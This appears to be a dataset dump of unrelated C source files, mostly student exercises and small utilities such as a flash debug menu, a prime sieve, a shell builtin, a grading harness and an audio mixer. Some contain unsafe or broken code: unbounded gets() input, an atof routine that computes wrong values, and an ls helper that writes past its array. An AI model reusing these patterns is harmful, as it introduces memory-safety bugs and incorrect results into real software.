language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
//*---------------------------------------------------------------------------- //* ATMEL Microcontroller Software Support - ROUSSET - //*---------------------------------------------------------------------------- //* The software is delivered "AS IS" without warranty or condition of any //* kind, either express, implied or statutory. This includes without //* limitation any warranty or condition with respect to merchantability or //* fitness for any particular purpose, or against the infringements of //* intellectual property rights of others. //*---------------------------------------------------------------------------- //* File Name : Debug.c //* Object : Debug menu //* Creation : JPP 16/May/2004 //*---------------------------------------------------------------------------- #include <stdio.h> // Include Standard files #include "Board.h" #include "Flash.h" /*---------------------------- Global Variable ------------------------------*/ char message[30]; //*--------------------------1-------------------------------------------------- //* \fn AT91F_DBGU_Printk //* \brief This function is used to send a string through the DBGU channel (Very low level debugging) //*---------------------------------------------------------------------------- void AT91F_DBGU_Printk( char *buffer) { while(*buffer != '\0') { while (!AT91F_US_TxReady((AT91PS_USART)AT91C_BASE_DBGU)); AT91F_US_PutChar((AT91PS_USART)AT91C_BASE_DBGU, *buffer++); } } //*---------------------------------------------------------------------------- //* \fn AT91F_US_Get //* \brief Get a Char to USART //*---------------------------------------------------------------------------- int AT91F_US_Get( char *val) { if ((AT91F_US_RxReady((AT91PS_USART)AT91C_BASE_DBGU)) == 0) return (false); else { *val= AT91F_US_GetChar((AT91PS_USART)AT91C_BASE_DBGU); return (true); } } //*---------------------------------------------------------------------------- //* \fn AT91F_DBGU_scanf //* \brief Get a string to USART manage Blackspace and echo //*---------------------------------------------------------------------------- void AT91F_DBGU_scanf(char * type,unsigned int * val) {//* Begin unsigned int read = 0; char buff[10]; unsigned int nb_read =0; while( (read != 0x0D) & (nb_read != sizeof(buff)) ) { //* wait the USART Ready for reception while((AT91C_BASE_DBGU->DBGU_CSR & AT91C_US_RXRDY) == 0 ) ; //* Get a char read = AT91C_BASE_DBGU->DBGU_RHR ; buff[nb_read]= (char)read; //* Manage Blackspace while((AT91C_BASE_DBGU->DBGU_CSR & AT91C_US_TXRDY) ==0) {} if ((char)read == 0x08) { if ( nb_read != 0 ) { nb_read--; AT91C_BASE_DBGU->DBGU_THR = read; } } else { //* echo AT91C_BASE_DBGU->DBGU_THR = read; nb_read++; } } //* scan the value sscanf(buff,type,val); }//* End //*---------------------------------------------------------------------------- //* \fn AT91F_DBGU_Flash //* \brief print address and size //*---------------------------------------------------------------------------- void AT91F_DBGU_Flash(unsigned int add, unsigned int size) { sprintf( message,"Start 0x%X size 0x%X (%d)\n\r" ,add, size, size); AT91F_DBGU_Printk(message); } //*---------------------------------------------------------------------------- //* \fn AT91F_Print_Memory //* \brief Print a memory area add: xx xx xx xx //*---------------------------------------------------------------------------- void AT91F_Print_Memory(unsigned int add, unsigned int size) { unsigned int i; unsigned int * start_add = (unsigned int *) add; AT91F_DBGU_Flash(add,size); for (i=0 ; i < size ; i+=4) { sprintf( message,"At 0x%X: 0x%X 0x%X 0x%X 0x%X\n\r",&start_add[i], start_add[i], start_add[i+1], start_add[i+2], start_add[i+3] ); AT91F_DBGU_Printk(message); } } //*---------------------------------------------------------------------------- //* \fn AT91F_Flash_Lock_info //* \brief Print Flash NVM bit //*---------------------------------------------------------------------------- void AT91F_Flash_Lock_info(void) { sprintf(message,"MC_FSR: 0x%X\n\r",AT91C_BASE_MC->MC_FSR); AT91F_DBGU_Printk(message); if (AT91F_Flash_Lock_Status()!=0) AT91F_DBGU_Printk("Lock Bits is set\n\r"); if (AT91F_NVM_Status() !=0) AT91F_DBGU_Printk("MVM Bits is set\n\r"); if (AT91F_SET_Security_Status() !=0) AT91F_DBGU_Printk("Security Bit is set\n\r"); } //*---------------------------------------------------------------------------- //* \fn menu //* \brief Manage the debug menu //*---------------------------------------------------------------------------- void menu(void) { unsigned int * start_add; int i,size,page; char val; unsigned int buff[FLASH_PAGE_SIZE_LONG*10]; //* Data initialization size = FLASH_PAGE_SIZE_BYTE; page = 0; start_add = ( unsigned int *) AT91C_IFLASH; AT91F_DBGU_Flash (( unsigned int)start_add,size); for (i=0; i < FLASH_PAGE_SIZE_LONG*4; i++) { buff[i] = 0xAABBCC00+i;} //* Init the flash access AT91F_Flash_Init(); AT91F_DBGU_Printk("1) Flash\n\r2) dump Flash\n\r3) write\n\r4) write page\n\r5) Erase\n\r6) set NVM\n\r7) ClearNVM\n\r8) Set Lock\n\r9) Clear lock\n\rA) Unlock All\n\rB) Lock All\n\r"); //* Loop menu while (1) { if (AT91F_US_Get(&val)) switch (val) { case '1': //* info sprintf( message,"Page:%d\n\r",page); AT91F_DBGU_Printk(message); AT91F_Flash_Lock_info(); AT91F_DBGU_Flash((unsigned int)start_add,size); AT91F_Print_Memory((unsigned int)start_add,FLASH_PAGE_SIZE_LONG*4); if (AT91F_Flash_Check_Erase((unsigned int*)AT91C_IFLASH,AT91C_IFLASH_SIZE/4) ) AT91F_DBGU_Printk("Flash erased\n\r"); else AT91F_DBGU_Printk("Flash NOT erased !\n\r"); break; case '2': // dump flash AT91F_Print_Memory((unsigned int)start_add,AT91C_IFLASH_SIZE/4); break; case '3'://* write one page AT91F_DBGU_Printk("Page ?:"); AT91F_DBGU_scanf("%d",(unsigned int*)&page ); start_add = ( unsigned int *) AT91C_IFLASH + ( page * FLASH_PAGE_SIZE_LONG); AT91F_DBGU_Flash((unsigned int)start_add,FLASH_PAGE_SIZE_LONG); if (AT91F_Flash_Write((unsigned int)start_add ,FLASH_PAGE_SIZE_BYTE ,(unsigned int*) &buff) ) AT91F_DBGU_Printk("Flash write\n\r"); else AT91F_DBGU_Printk("Flash NOT write !\n\r"); AT91F_Print_Memory((unsigned int)start_add,FLASH_PAGE_SIZE_BYTE/4); break; case '4'://* write some page AT91F_DBGU_Printk("Address (Hex)"); AT91F_DBGU_scanf("%X",(unsigned int*)&size ); start_add = (unsigned int *)size; AT91F_DBGU_Printk("\n\rSize in byte (int)"); AT91F_DBGU_scanf("%d",(unsigned int*)&size ); AT91F_DBGU_Flash((unsigned int)start_add,size); if (AT91F_Flash_Write_all((unsigned int)start_add ,size ,(unsigned int*) &buff) ) AT91F_DBGU_Printk("Flash write\n\r"); else AT91F_DBGU_Printk("Flash NOT write !\n\r"); AT91F_Print_Memory((unsigned int)start_add,(size/4)); break; case '5'://* Erase all if (AT91F_Flash_Erase_All()) AT91F_DBGU_Printk("Flash cmd OK\n\r");; if (AT91F_Flash_Check_Erase((unsigned int*)AT91C_IFLASH,AT91C_IFLASH_SIZE) ) AT91F_DBGU_Printk("Flash erased\n\r"); else AT91F_DBGU_Printk("Flash NOT erased !\n\r"); break; case '6'://* Set NVM sprintf( message,"SET MNV 1 0x%X\n\r",AT91F_NVM_Set (1)); AT91F_DBGU_Printk(message); break; case '7'://* Clear NVM sprintf( message,"SET MNV 1 0x%X\n\r",AT91F_NVM_Clear (1)); AT91F_DBGU_Printk(message); break; case '8'://* Set Lock bit AT91F_DBGU_Printk("Page ?:"); AT91F_DBGU_scanf("%d",(unsigned int*)&page ); sprintf( message,"SET lock %d 0x%X\n\r",page,AT91F_Flash_Lock (page)); AT91F_DBGU_Printk(message); break; case '9'://* Clear Lock bit AT91F_DBGU_Printk("Page ?:"); AT91F_DBGU_scanf("%d",(unsigned int*)&page ); sprintf( message,"CLEAR lock %d 0x%X\n\r",page,AT91F_Flash_Unlock (page)); AT91F_DBGU_Printk(message); break; case 'A'://* Clear Lock bit for (i=0;i<FLASH_PAGE_NB;i+=FLASH_PAGE_LOCK) { sprintf(message,"Clear page %d 0x%X\n\r",i,AT91F_Flash_Unlock (i)); AT91F_DBGU_Printk(message); } break; case 'B'://* Set Lock bit for (i=0;i<FLASH_PAGE_NB;i+=FLASH_PAGE_LOCK) { sprintf(message,"SET page %d 0x%X\n\r",i,AT91F_Flash_Lock (i)); AT91F_DBGU_Printk(message); } break; default: break; }// End Switch }// End while }
C
#include "math.h" #include "common.h" const char * USAGE = "Write an atof function that handles scientific notation"; struct significand_num { int length; int digits[256]; }; typedef struct scinot scinot_t; struct scinot { int significand_sign; // -1 or 1 int exponent_sign; // -1 or 1 long significand; // nums to left of decimal long fractional; // nums to left of decimal double exponent; // nums to right of decimal }; enum parse_scinot_states { SIGNIFICAND, FRACTION, EXPONENT }; double scientific_notation_to_double(char * str); int main( int argc, char ** argv ) { printf("%s\n",USAGE); char * nums[7]; nums[0] = "1"; nums[1] = "12"; nums[2] = "1.2"; nums[3] = ".1"; nums[4] = ".12"; nums[5] = "0.1"; nums[6] = "0.12"; char * es[6]; es[0] = "e"; es[1] = "E"; es[2] = "-e"; es[3] = "+e"; es[4] = "-E"; es[5] = "+E"; char * exps[3]; exps[0] = "1"; exps[1] = "12"; exps[2] = "0"; char * str = malloc( 80 ); for(int i = 0; i < 7; i++) for(int j = 0; j < /*6*/6; j++) for(int k = 0; k < 3; k++) { snprintf(str, 80, "%s%s%s",nums[i],es[j],exps[k] ); printf("local_atof(%s) = %f\n\n\n\n", str, scientific_notation_to_double(str)); } return 0; } double scientific_notation_to_double(char * str) { char * str_tmp = str; int state = SIGNIFICAND; char c; int cnum = 0; scinot_t retval = {1,1,0,0,0}; struct significand_num sg; sg.length = 0; struct significand_num frac; frac.length = 0; struct significand_num exp; exp.length = 0; printf("starrt %s\n",str); while( (c = *str++)) { cnum++; switch(state) { case SIGNIFICAND: if( c == '-') if( sg.length == 0) retval.significand_sign = -1; else { retval.exponent_sign = -1; state = EXPONENT; } else if( c == '+') if( sg.length == 0) retval.significand_sign = 1; else { retval.exponent_sign = 1; state = EXPONENT; } else if(c == 'E' || c == 'e') { state = EXPONENT; break; } else if( c == '.' ) { state = FRACTION; } else if( isdigit(c) ) sg.digits[sg.length++] = (int)c-(int)'0'; else printf("parse error at character %c, position %d, string %s\n",c,cnum,str_tmp); break; case FRACTION: if( isdigit(c) ) frac.digits[ frac.length++ ] = (int)c-(int)'0'; else if( c == '-' ) { state = EXPONENT; retval.exponent_sign = -1; } else if( c == '+') { state = EXPONENT; retval.exponent_sign = 1; } else if(c == 'E' || c == 'e') { state = EXPONENT; break; } else printf("parse error at character %c, position %d, string %s\n",c,cnum,str_tmp); break; case EXPONENT: if( isdigit(c) ) exp.digits[ exp.length++ ] = (int)c-(int)'0'; else printf("parse error at character %c, position %d, string %s\n",c,cnum,str_tmp); break; } } int power = 0; long sum = 0; while( --sg.length > -1 ) { sum += pow(10,power++) * sg.digits[ sg.length ]; printf("building sig.digits[%d] = %d, sum %ld\n",sg.length,sg.digits[sg.length],sum); } printf("sig final %ld\n",sum ); retval.significand = sum; power = 0; sum = 0; long divisor = 1; while( --frac.length > -1 ) { divisor *= 10; sum += pow(10,power++) * frac.digits[ frac.length ]; printf("building frac.digits[%d] = %d, sum %ld\n",frac.length,frac.digits[frac.length],sum); } printf("frac final %ld\n",sum ); retval.fractional = sum; power = 0; sum = 0; while( --exp.length > -1 ) { sum += pow(10,power++) * exp.digits[ exp.length ]; printf("building exp.digits[%d] = %d, sum %ld\n",exp.length,exp.digits[exp.length],sum); } if(retval.exponent_sign == -1) if(sum == 0) retval.exponent = 1; else retval.exponent = 1/sum; else retval.exponent = sum; printf("exp final %.9f\n",retval.exponent); printf("%s parts %c%ld.%ld%c%.9f\n", str_tmp,retval.significand_sign == 1 ? '+' : '-' ,retval.significand, retval.fractional, retval.exponent_sign==1?'+':'-', retval.exponent); return retval.significand * retval.exponent;//1.0; }
C
#include<stdio.h> main() { int arr[5]={1,2,3,4,5},i; for(i=0;i<5;i++) { printf("1st elemnt addr %p %d\n",&arr[i],arr[i]); } printf("i am printing one by one"); printf("%p %p %p %p %p %p\n",&arr,&arr+0,&arr+1,&arr+2,&arr+3,&arr+4); }
C
#include <stdio.h> int main(void) { enum numeri_int {A = 1, B = 2, C = 3}; enum numeri_int x; enum numeri_int y; printf("inserisci A B C : "); scanf("%[A,B,C]", &x); scanf("%*[^\n]"); scanf("%[A,B,C]", &y); scanf("%*c"); printf("%f", (float)x/y); }
C
#include <stdio.h> #include <stdlib.h> #include "string.h" char* getInputString(int size){ char *array = (char*) malloc(size + 1); printf("Enter string:"); gets(array); return array; free(array); } int countWords(char* stringArray){ const char *SEPARATORS = {"|!?.,;/*-+{}[]\'@#$%^&()=~1234567890<>№_` "}; char* str; int count = 0; str = strtok(stringArray, SEPARATORS); while (str != NULL) { count++; str = strtok(NULL, SEPARATORS); } printf("Number of words - %d\n", count); } int main() { char* stringArray = getInputString(10000000); countWords(stringArray); return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* sh_builtin_type_search.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jmartel <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/09/04 21:46:13 by jmartel #+# #+# */ /* Updated: 2019/11/12 07:05:26 by jmartel ### ########.fr */ /* */ /* ************************************************************************** */ #include "sh_21.h" /* ** sh_builtin_type_search_alias: ** Look in alias table if name match a declared alias. ** Reserved words list correspond to bash's list, not to our implementation. ** If found message shown depend on options specified. ** ** Returned Values ** SUCCESS : matched an alias ** ERROR : do not matched any alias */ int sh_builtin_type_search_alias( char *name, t_args args[], t_context *context) { int index; char *value; if ((index = sh_vars_get_index(context->alias, name)) != -1) { if (args[TYPE_P_OPT].priority > args[TYPE_T_OPT].priority) return (ERROR); if (args[TYPE_T_OPT].value) ft_dprintf(FD_OUT, "alias\n"); else { value = sh_env_get_value((char**)context->alias->tbl, name); ft_dprintf(FD_OUT, "%s is aliased to `%s'\n", name, value); } return (SUCCESS); } return (ERROR); } /* ** sh_builtin_type_search_reserved: ** Look in a constant table if name match an existing reserved word. ** Reserved words list correspond to bash's list, not to our implementation. ** If found message shown depend on options specified. ** ** Returned Values ** SUCCESS : matched a builtin ** ERROR : do not matched any builtin */ int sh_builtin_type_search_reserved(char *name, t_args args[]) { int i; const char *key_words[] = { "!", "{", "}", "[[", "]]", "case", "do", "done", "elif", "else", "esac", "fi", "for", "function", "if", "in", "select", "then", "until", "until", "while", NULL}; i = 0; while (key_words[i]) { if (ft_strequ(key_words[i], name)) { if (args[TYPE_P_OPT].value && args[TYPE_P_OPT].priority > args[TYPE_T_OPT].priority) return (SUCCESS); else if (args[TYPE_T_OPT].value) ft_dprintf(FD_OUT, "keyword\n"); else ft_dprintf(FD_OUT, "%s is a shell keyword\n", name); return (SUCCESS); } i++; } return (ERROR); } /* ** sh_builtin_type_search_builtin: ** Look in builtin list if name match an existing builtin. ** If found message shown depend on options specified. ** ** Returned Values ** SUCCESS : matched a builtin ** ERROR : do not matched any builtin */ int sh_builtin_type_search_builtin(char *name, t_args args[]) { if (sh_builtin_find_name(name)) { if (args[TYPE_P_OPT].value && args[TYPE_P_OPT].priority > args[TYPE_T_OPT].priority) return (SUCCESS); else if (args[TYPE_T_OPT].value) ft_dprintf(FD_OUT, "builtin\n"); else ft_dprintf(FD_OUT, "%s is a shell builtin\n", name); return (SUCCESS); } return (ERROR); } /* ** sh_builtin_type_search_hash: ** Use hash table api function to look if name match and hashed binary. ** If found message shown depend on options specified. ** ** Returned Values ** SUCCESS : matched a hashed binary ** ERROR : do not matched any hash */ int sh_builtin_type_search_hash( t_context *context, char *name, t_args args[]) { t_binary *binary; t_hash_finder finder; finder = ft_hash_table_find(context->shell->binaries, name, ft_hash_str, compare_str_to_binary); if (finder.found) { binary = (t_binary *)finder.content; if (args[TYPE_P_OPT].value && args[TYPE_P_OPT].priority > args[TYPE_T_OPT].priority) ft_dprintf(FD_OUT, "%s\n", binary->path); else if (args[TYPE_T_OPT].value) ft_dprintf(FD_OUT, "file\n"); else { ft_dprintf(FD_OUT, "%s is hashed (%s)\n", name, binary->path); } return (SUCCESS); } return (ERROR); }
C
//Copyright 2016 Fyf and Xjw. All Rights Reserved. #include "custom.h" #include <stdio.h> #include <stdlib.h> #include <time.h> void PrintArray(Number *array, BitNum n, int flag)//Fyf { for (BitNum i = 0; i < n; i++) { if(flag == 0) printf("%d\n", array[i]); else printf("array[%d]=%d\n", i, array[i]); } } Number* getRandomArray(BitNum n, Number maximum)//Fyf { BitNum i; Number *array = (Number *)calloc(n, sizeof(Number)); srand(time(0)); for (i = 0; i < n; i++) { array[i] = rand() % maximum; } return array; } BitNum verify(Number *array, BitNum n)//Fyf { BitNum i; for (i = 0; array[i] <= array[i + 1] && i < n - 1; i++); return i + 1; }
C
/* * yase - Yet Another Sieve of Eratosthenes * seed.c: sieves the "seed primes" needed to sieve the entire interval * * Copyright (c) 2015 Matthew Ingwersen * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <yase.h> /* * Sieves for the sieving primes. end_byte is the first byte not * to check; end_bit is the first bit for which we don't need sieving * primes. The long integer pointed to by count is increased with every * prime found. Sieving primes found are added to the prime set given. */ void sieve_seed( uint64_t end_byte, unsigned int end_bit, struct prime_set * set) { uint64_t i, end_bit_absolute; uint8_t * seed_sieve; /* Calculate the absolute end bit */ if(end_bit != 0) { end_bit_absolute = (end_byte - 1) * 8 + end_bit; } else { end_bit_absolute = end_byte * 8; } /* We don't bother to segment for this process. We allocate the sieve segment manually. */ seed_sieve = malloc(end_byte); if(seed_sieve == NULL) { YASE_PERROR("malloc"); abort(); } /* Copy in pre-sieve data */ presieve_copy(seed_sieve, 0, end_byte); /* Run the sieve */ for(i = PRESIEVE_PRIMES + 2; i < end_byte * 8; i++) { if((seed_sieve[i / 8] & ((uint8_t) 1U << (i % 8))) != 0) { uint64_t prime, mult, byte; uint32_t prime_adj, wheel_idx; /* Mark multiples */ prime = (i / 8) * 30 + wheel30_offs[i % 8]; mult = prime * prime; prime_adj = (uint32_t) (prime / 30); byte = mult / 30; wheel_idx = (i % 8) * 48 + wheel210_last_idx[prime % 210]; /* If this prime is in the range that we need sieving primes, record it. */ if(i < end_bit_absolute) { if(prime < SMALL_THRESHOLD) { prime_set_add(set, prime, byte, (i % 8) * 9); } else { prime_set_add(set, prime, byte, wheel_idx); } } /* Sieve multiples for the purpose of finding more sieving primes */ while(byte < end_byte) { mark_multiple_210(seed_sieve, prime_adj, (uint32_t *) &byte, &wheel_idx); } } } /* Clean up */ free(seed_sieve); }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "src/utils.h" #include "src/tables.h" const char* TMP_FILE = "tmp_grading.txt"; const int BUF_SIZE = 1024; /**************************************** * Helper functions ****************************************/ int check_lines_equal(char **arr, int num) { char buf[BUF_SIZE]; FILE *f = fopen(TMP_FILE, "r"); if (!f) { return -1; } for (int i = 0; i < num; i++) { if (!fgets(buf, BUF_SIZE, f)) { return -1; } if (strncmp(buf, arr[i], strlen(arr[i])) != 0) { return 1; } } fclose(f); return 0; } /**************************************** * Test cases for tables.c ****************************************/ int grade_table_1() { int retval; int correct; SymbolTable* tbl = create_table(SYMTBL_NON_UNIQUE); retval = add_to_table(tbl, "abc", 8); correct = (retval == 0); retval = add_to_table(tbl, "efg", 12); correct &= (retval == 0); retval = add_to_table(tbl, "q45", 16); correct &= (retval == 0); retval = get_addr_for_symbol(tbl, "abc"); correct &= (retval == 8); retval = get_addr_for_symbol(tbl, "q45"); correct &= (retval == 16); retval = get_addr_for_symbol(tbl, "efg"); correct &= (retval == 12); free_table(tbl); return correct; } int grade_table_2() { int retval; int correct; set_log_file(TMP_FILE); SymbolTable* tbl = create_table(SYMTBL_UNIQUE_NAME); retval = add_to_table(tbl, "q45", 8); correct = (retval == 0); retval = add_to_table(tbl, "efg", 12); correct &= (retval == 0); retval = add_to_table(tbl, "q45", 16); correct &= (retval == -1); retval = add_to_table(tbl, "abc", 13); correct &= (retval == -1); free_table(tbl); char* arr[] = { "Error: name 'q45' already exists in table.", "Error: address is not a multiple of 4." }; retval = check_lines_equal(arr, 2); correct &= (retval == 0); return correct; } int grade_table_3() { int retval; int correct; char buf[100]; SymbolTable* tbl = create_table(SYMTBL_NON_UNIQUE); strcpy(buf, "abc"); retval = add_to_table(tbl, buf, 8); correct = (retval == 0); strcpy(buf, "asldfkjsd;lskjdfa"); strcpy(buf, "efg"); retval = add_to_table(tbl, buf, 12); correct &= (retval == 0); strcpy(buf, "wenweavnwepoaiwneiawioen"); strcpy(buf, "q45"); retval = add_to_table(tbl, buf, 16); correct &= (retval == 0); retval = get_addr_for_symbol(tbl, "abc"); correct &= (retval == 8); retval = get_addr_for_symbol(tbl, "q45"); correct &= (retval == 16); retval = get_addr_for_symbol(tbl, "efg"); correct &= (retval == 12); free_table(tbl); return correct; } int grade_table_4() { int retval, max = 500; int correct = 1; SymbolTable* tbl = create_table(SYMTBL_UNIQUE_NAME); char buf[100]; for (int i = 0; i < max; i++) { sprintf(buf, "%d", i); retval = add_to_table(tbl, buf, 4 * i); correct &= (retval == 0); } for (int i = 0; i < max; i++) { sprintf(buf, "%d", i); retval = get_addr_for_symbol(tbl, buf); correct &= (retval == 4 * i); } free_table(tbl); return correct; } /**************************************** * Add your test cases here ****************************************/ int main(int argc, char** argv) { if (argc != 2) { return -1; } switch (atoi(argv[1])) { case 0: return grade_table_1() ? 0 : 1; case 1: return grade_table_2() ? 0 : 1; case 2: return grade_table_3() ? 0 : 1; case 3: return grade_table_4() ? 0 : 1; default: return -1; } }
C
/* The VDRIVER - A Classic Video Game Engine By Jake Stine and Divine Entertainment (1997-2000) Support: If you find problems with this code, send mail to: [email protected] For additional information and updates, see our website: http://www.divent.org Disclaimer: I could put things here that would make me sound like a first-rate california prune. But I simply can't think of them right now. In other news, I reserve the right to say I wrote my code. All other rights are just abused legal tender in a world of red tape. Have fun! --------------------------------------------------- Module: gamegfx.c Graphics Primitives for Off-Screen Video Buffers - ( Graphics the Divine Way ) - This module contains MOST of my general purpose GFX routines. Because the entire game system works on an off-screen memory buffer, all routines SHOULD be fully portable to any other system known to man (though perhaps not very efficient on those machines). Although all of these functions can have driver-specific counterparts the ones in this module are 100% portable and flexable (assuming virtual screen buffer has been ported). */ #include "vdriver.h" #include <string.h> #include <stdarg.h> /* // ===================================================================================== SPRITE *cut_sprite(UBYTE *source, int srcx, int x, int y, int dx, int dy, int bytespp) // ===================================================================================== { UBYTE *offset, *destptr; SPRITE *dest; dest = (SPRITE *)_mm_malloc(sizeof(SPRITE)); destptr = dest->bitmap = (UBYTE *)_mm_malloc(dx * dy * bytespp); dest->xsize = dx; dest->ysize = dy; dy += y; for(; y<dy; y++, destptr+=dx) { offset = &source[((y*srcx)+x)*bytespp]; memcpy(destptr,offset,dx*bytespp); } return(dest); } // ===================================================================================== UBYTE *cut_tile(UBYTE *source, int srcx, int tilex, int tiley, int x, int y) // ===================================================================================== { UBYTE *destptr, *dest; dest = destptr = (UBYTE *)_mm_malloc(tilex * tiley); tiley += y; for(; y<tiley; y++, destptr+=tilex) memcpy(destptr,&source[(y*srcx)+x],tilex); return(dest); } */
C
#include<stdio.h> #include<stdlib.h> #define MAX 100005 int n,ans[MAX],visit[MAX]; int main(int argc, char *argv[]) { int i,j; scanf("%d",&n); if(n%1) { printf("-1\n"); return 0; } memset(visit,0,sizeof(int)*(n+1)); ans[n]=0; for(i=n;i>0;i--) { visit[ans[i]]=1; ans[i-1]=ans[i]>>1; if(!visit[ans[i]^1]) ans[i-1]+=n>>1; } for(i=0;i<=n;i++) { if(i) printf(" "); printf("%d",ans[i]); } printf("\n"); return 0; }
C
/* This file is part of the examples given in the slide. * For educational use as part of the Intro to ARM course at http://www.opensecuritytraining.info/IntroARM.html . */ #include <stdio.h> int main(void) { int a, b; int *x; a = 8; b = 9; x = &a; b = *x + 2; printf("The address of a is 0x%x\n",x); printf("The value of b is now %d\n",b); return 0; }
C
/* * Two versions of gcd implementation using subtract, and modulo operation then measure how many times each one * took for executions. * * Clearly gcd() took 8 times while gcdNotEfficient() took 260 times. */ #include <stdio.h> int gcdNotEfficient(int u, int v) { int t, count=0; while (u > 0) { if (u < v) { t = u; u = v; v = t; } u = u - v; count++; } printf(" - gcdNotEfficient executed %d times\n", count); return v; } int gcd(int u, int v) { int t, count=0; while (u > 0) { if (u < v) { t = u; u = v; v = t; } u = u % v; count++; } printf(" - gcd executed %d times\n", count); return v; } int main(int argc, char* args[]) { printf("gcd(12345, 56789) = %d\n", gcdNotEfficient(12345, 56789)); printf("gcd(12345, 56789) = %d\n", gcd(12345, 56789)); return 0; }
C
#include <unistd.h> #include <stdlib.h> #include <dirent.h> #include <sys/stat.h> int is_a_file(char* current_file) { struct stat path_stat; stat(current_file, &path_stat); return S_ISREG(path_stat.st_mode); } int get_file_count() { struct dirent* direc_entry; DIR *cwd = opendir("."); int directory_count = 0; while ((direc_entry = readdir(cwd)) != NULL) directory_count++; closedir(cwd); return directory_count; } char** ls() { struct dirent* directory_entry; DIR *cwd = opendir("."); char** files = calloc(get_file_count() - 1, sizeof(char*) + sizeof(NULL)); readdir(cwd); // get rid of . int ind = 0; while ((directory_entry = readdir(cwd)) != NULL) files[ind++] = directory_entry -> d_name; files[++ind] = NULL; closedir(cwd); return files; }
C
#include <stdlib.h> #include <stdio.h> int ft_atoi(char *str) { int i; int ret; int neg; ret = 0; neg = 1; i = 0; while (((str[i] >= 9 && str[i] <= 13) || str[i] == 32) && str[i]) ++i; if (str[i] && str[i] == 45) { neg = -neg; ++i; } else if (str[i] && str[i] == 43) ++i; while (str[i] <= 57 && str[i] >= 48) { ret = ret * 10 + (str[i] - 48); ++i; } return (ret * neg); //So it works with the exception of huge numbers where the origional atoi gets really weird, so... } int main(int argc, char *argv[]) { if (argc == 2) { printf("%i\n", atoi(argv[1])); printf("%i\n", ft_atoi(argv[1])); } return (0); }
C
#include <stdlib.h> #include <string.h> #include <play.h> #include <stdio.h> static inline unsigned long to_bytes(stream_state *s, unsigned long x) { return x * s->channels * sizeof(SAMPLE); } // S1 is modified to be the mix of S1 and S2. // If S2 was longer, then the reminder is enqueued after S1. // Assumes that S2 is a sinlge (i.e., not a list) sample. static void mixSamples (stream_state *s, sample *s1, sample *s2) { unsigned long channels = s->channels; unsigned long p1,p2,c; for ( p1 = s1->next_frame, p2 = s2->next_frame ; p1 < s1->frame_num && p2 < s2->frame_num ; ++p1, ++p2 ) for (c = 0; c < channels; ++ c) { unsigned long ix = channels * p1 + c; s1->data[ix] = s1->data[ix] / 2 + s2->data[channels * p2 + c] / 2; } s2->next_frame = p2; if (s2->next_frame == s2->frame_num) { free(s2); return; } if (s1->next_sample == NULL) { s1->next_sample = s2; return; } mixSamples(s, s1->next_sample, s2); } static int callback ( const void *input, void *output, unsigned long frameCount, const PaStreamCallbackTimeInfo* timeInfo, PaStreamCallbackFlags statusFlags, void *userData ) { stream_state *state = userData; unsigned long done = 0; while (done < frameCount) { unsigned long have; unsigned long todo; sample *cur; // First check if we need to mix-in a new sample. if (state->next_sample != NULL) { if (state->cur_sample == NULL) state->cur_sample = (sample*)state->next_sample; else mixSamples(state, state->cur_sample, (sample*)state->next_sample); state->next_sample = NULL; } else if (state->cur_sample == NULL) { memset(output + to_bytes(state,done), 0, frameCount - done); return paContinue; } cur = state->cur_sample; // Not NULL have = cur->frame_num - cur->next_frame; todo = frameCount - done; if (todo > have) todo = have; memcpy( output + to_bytes(state,done) , &cur->data[cur->next_frame * state->channels] , to_bytes(state, todo) ); cur->next_frame += todo; done += todo; if (cur->next_frame == cur->frame_num) { // Current sample run out, keep going with next part. state->cur_sample = cur->next_sample; free(cur); } } return paContinue; } PaError playInit ( stream_state * s , unsigned long chan_num , double sample_rate , unsigned long frames_per_buffer // 0 for auto. ) { PaError err; s->cur_sample = NULL; s->next_sample = NULL; s->channels = chan_num; err = Pa_Initialize(); if (err != paNoError) return err; return Pa_OpenDefaultStream( &s->stream , 0, chan_num, paInt16, sample_rate , frames_per_buffer , callback , s ); } // One thread at a time. // XXX: no error reporting // XXX: we could do the allocation separately to minimize single threaded time void playFrames(stream_state *s, unsigned long frames, SAMPLE *data) { unsigned long bytes = to_bytes(s,frames); sample *m = (sample*) malloc(sizeof(sample) + bytes); if (m == NULL) return; // Not enough memory. m->frame_num = frames; m->next_frame = 0; m->next_sample = NULL; memcpy(m->data, data, bytes); while(s->next_sample != NULL); // wait for stream to pick up previous. s->next_sample = m; if (!Pa_IsStreamActive(s->stream)) { if (!Pa_IsStreamStopped(s->stream)) Pa_StopStream(s->stream); Pa_StartStream(s->stream); } } static void freeSample(sample *s) { while (s != NULL) { sample *p = s; s = s->next_sample; free(p); } } void playCleanup (stream_state *s) { (void) Pa_CloseStream(s->stream); (void) Pa_Terminate(); freeSample(s->cur_sample); freeSample((sample*)s->next_sample); }
C
